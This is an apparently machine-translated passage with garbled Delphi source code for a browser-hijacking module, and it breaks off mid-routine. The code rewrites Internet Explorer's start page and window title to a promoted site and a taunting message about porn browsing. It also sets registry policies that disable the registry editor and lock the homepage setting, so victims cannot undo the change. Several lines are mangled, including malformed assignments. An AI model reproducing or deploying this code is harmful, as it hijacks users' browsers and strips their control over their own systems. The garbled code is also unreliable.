In fact, it is a modification of several key values (BULLSHIT) to see this Delphi, you will know how to write the module of the IE part of the Windows Optimization Master (module http: //lkpc.126 .com) unit Unit2; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, Buttons, Registry; type TForm2 = class (TForm) BitBtn1: TBitBtn; Memo1: TMemo; procedure BitBtn1Click (Sender: TObject); private {Private declarations} public {public declarations} end; var Form2: TForm2; implementation {$ R * .DFM} procedure TForm2.BitBtn1Click (Sender: TObject); var Reg: TRegistry; s1, s2, s3, s4 , S5, S6, REG1, REG2, REG3, REG4, REG5, REG6: String; Begin Reg: = Tregistry.create; S1: = 'Haha! You have browsed the porn website, and it doesn't admit it? Here is evidence! '; S2: =' http: //lkpc.126.com '; s3: =' start page '; s4: =' window title '; s5: =' disableregISTRYTOOLS '; S6: =' homepage '; reg1: = '/ Software / Microsoft / Internet Explorer / Main'; reg3: = '/ Software / Microsoft / Windows / CurrentVersion / Policies / system'; reg4: = '/ Software / Policies / Microsoft / Internet Explorer / Control Panel'; reg2: '. / DEFAULT / Software / Microsoft / Internet Explorer / Main' =; reg5: = '. / DEFAULT / Software / Microsoft / Windows / CurrentVersion / Policies / System'; reg6:. = '/ DEFAULT / Software / Policies / Microsoft / Internet Explorer / Control Panel '; try // Modify hkey_current_user; reg.rootkey: = HKEY_CURRENT_USER; if reg.openkey (reg1, true) Then; Begin Reg.writestring (S4, S1); // Title Reg.writestring (S3 , S2); // Default home page end; if reg.openkey (reg3, true) THEN REG.WRITEINTEGER (S5, 1); if reg.openkey (reg4, true) THEN REG.WRITEINTEGER (S6, 1); / / Unlock Home // Modify HKEY_USERS REG.ROOTKEY: = HKEY_USERS;
